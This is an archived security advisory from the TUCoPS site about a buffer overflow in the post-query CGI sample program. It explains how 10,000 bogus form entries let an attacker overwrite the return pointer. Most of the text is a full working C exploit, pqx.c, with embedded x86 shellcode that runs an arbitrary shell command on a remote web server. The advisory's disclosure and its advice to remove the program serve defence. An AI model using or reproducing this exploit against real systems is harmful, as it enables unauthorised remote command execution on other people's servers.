TUCoPS :: Web :: Apps :: pquery.htm

Post-query (CGI) Exploitable Buffer Overflow
Vulnerability

    post-query

Affected

    post-query (CGI)

Description

    'proton' found following.  The overflow condition is *very* easily
    exploitable, since the code  actually supplies the pointer  to the
    exploit code itself, odd as it maye seem.  The pointer thusly does
    not need to be second-guessed at all, making life much easier  for
    crackers.  Code excerpts:

        ...

        #define MAX_ENTRIES 10000

        typedef struct {
            char *name;
            char *val;
        } entry;

        ...

        main(int argc, char *argv[]) {
            entry entries[MAX_ENTRIES];

        ...

            for(x=0;cl && (!feof(stdin));x++) {
                m=x;
                entries[x].val = fmakeword(stdin,'&',&cl);
                plustospace(entries[x].val);
                unescape_url(entries[x].val);
                entries[x].name = makeword(entries[x].val,'=');
            }

        ...

    Fellow C programmers would surely see the problem right away.

    By  feeding  10,000  bogus  entries,  and then sending a specially
    prepared  buffer  for  the  10,001'th,  you  get a situation where
    memory  is  allocated,  the  exploit  code  is written into it and
    the  pointer  is  then  put  into  the  10,001'st  position of the
    entries struct.  This happens  to be  the position  of the  return
    pointer.   When  the  program  ends,  it  does  not call `exit' as
    we  would  say  most  network  applications  should,  instead   it
    returns  to  __start,  or  in  a  case  where  the  return pointer
    has been overwritten, it returns to the user-supplied code.

    The only problem with  this exploit is that  `fmakeword' allocates
    102400 bytes for each buffer.   Before you think that the  problem
    then  becomes  entirely  theoretical,  consider  that  most modern
    kernels does not  give the programs  actual physical memory  until
    the memory is  written to.   A fair estimate  would be that  to be
    vulnerable  the  server  would  need  around  40-50MB  of physical
    and/or virtual memory, but we can't say for certain.

    To sum it up, this exploit  is real, you may be vulnerable  if you
    have  the  post-query  CGI  on  your  webservers (and it is *very*
    common).

    You  may  be  lucky  enough  to  have  an  OS  that  prohibits the
    application from successfully allocating the needed memory.

    Attached is a working exploit program for Linux-ix86.  You may  or
    may not  be vulnerable  to this  exploit depending  on a number of
    factors.  Better  safe than sorry,  remove post-query if  you have
    it.  It is an example program designed to demonstrate how  posting
    to CGI  works and  as such  isnt useful  for any  normal webserver
    operations.

    /*
     |  pqx.c -- post-query buffer overflow exploit for Linux-ix86
     |  Copyright (c) 2001 by proton. All rights reserved.
     |
     |  This program is free software; you can redistribute it and/or modify
     |  it under the terms of the GNU General Public License as published by
     |  the Free Software Foundation; either version 2 of the License, or
     |  (at your option) any later version.
     |
     |  This program is distributed in the hope that it will be useful,
     |  but WITHOUT ANY WARRANTY; without even the implied warranty of
     |  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     |  GNU General Public License for more details.
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <errno.h>
    
    char	tmp[512];
    char	*host;
    char	*progname;
    char	*command;
    
    #define output(x)	write(1,x,sizeof(x))
    
    unsigned char shellcode[] =
	    "\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08"
	    "\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88"
	    "\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	    "\x80\xe8\xc0\xff\xff\xff\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
	    "\x01\x01\x00";
    
    void netpipe(int *rsock, int *wsock, int sz)
    {
	    struct	sockaddr_in sai;
	    struct	hostent *he;
	    int	s;
    
	    if (!host || !*host || !command || !*command)
	    {
		    printf("Usage: %s <host> \"<command>\"\n",progname);
		    exit(1);
	    }
	    he = gethostbyname(host);
	    if (!he)
	    {
		    printf("%s: Unknown host\n",host);
		    exit(1);
	    }
    
	    s = socket(AF_INET,SOCK_STREAM,0);
	    sai.sin_family = AF_INET;
	    sai.sin_port = htons(80);
	    memcpy(&sai.sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
    
	    if (connect(s,(struct sockaddr*)&sai,sizeof(sai)) < 0)
	    {
		    switch(errno)
		    {
		    case ECONNREFUSED:
			    output("Connection refused.\n");
			    break;
		    case ETIMEDOUT:
			    output("Connection timed out.\n");
			    break;
		    case ENETUNREACH:
			    output("Network unreachable.\n");
			    break;
		    default:
			    output("Unknown error.\n");
			    break;
		    }
		    exit(1);
	    }
	    output("Connection established.\n");
    
	    *rsock = *wsock = s;
	    sprintf(tmp,"POST /cgi-bin/post-query HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\n"
		    "Content-Length: %i\r\n\r\n",sz);
	    write(s,tmp,strlen(tmp));
    }
    
    void __doit(void);
    
    #define CMDSTUB		"/bin/sh -c %s@"
    
    int main(int argc, char **argv)
    {
	    char	*q,*cp;
	    int	in,out;
	    int	sz,x,n;
    
	    if (argc < 3)
	    {
		    fprintf(stderr,"Usage: %s <hostname> \"<command>\"\n",argv[0]);
		    exit(1);
	    }
    
	    progname = argv[0];
	    host = argv[1];
	    command = argv[2];
    
	    x = (2*strlen(shellcode)) + strlen(command) + sizeof(CMDSTUB);
	    sz = 9999 + x;
    
	    netpipe(&in,&out,sz);
    
	    tmp[0] = 0;
	    for(sz=0;sz<9999;sz++)
	    {
		    strcat(tmp,"&");
		    if (strlen(tmp) > 500)
		    {
			    write(out,tmp,strlen(tmp));
			    tmp[0] = 0;
		    }
	    }
	    write(out,tmp,strlen(tmp));
    
	    sprintf(tmp,"&%s=%s",shellcode,shellcode);
	    q = strchr(tmp,0);
	    sprintf(q,CMDSTUB,command);
	    write(out,tmp,x);
    
	    output("Sent our shit.\n");
    
	    n = x = 0;
	    for(;;)
	    {
		    sz = read(in,&tmp[x],512-x);
		    if (sz < 1)
			    break;
		    x += sz;
		    q = cp = tmp;
		    for(sz=x;sz;)
		    {
			    if (*q == '\n')
			    {
				    if (strncmp(cp,"<li> <code> = </code>",q-cp))
					    write(1,cp,(q-cp)+1);
				    else
				    if (!n)
				    {
					    write(1,"\n<!-- ignoring 10,000 lines of crap -->\n\n",41);
					    n++;
				    }
				    cp = q + 1;
			    }
			    q++;
			    sz--;
		    }
		    if (cp != tmp)
		    {
			    sz = x - (cp - tmp);
			    memcpy(tmp,cp,sz);
			    x -= (cp - tmp);
		    }
	    }
	    exit(0);
    }

Solution

    Better safe than sorry; Remove the program if you have it!   Noone
    should really need this type  of application since it is  a sample
    program designed to demonstrate how CGI works.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH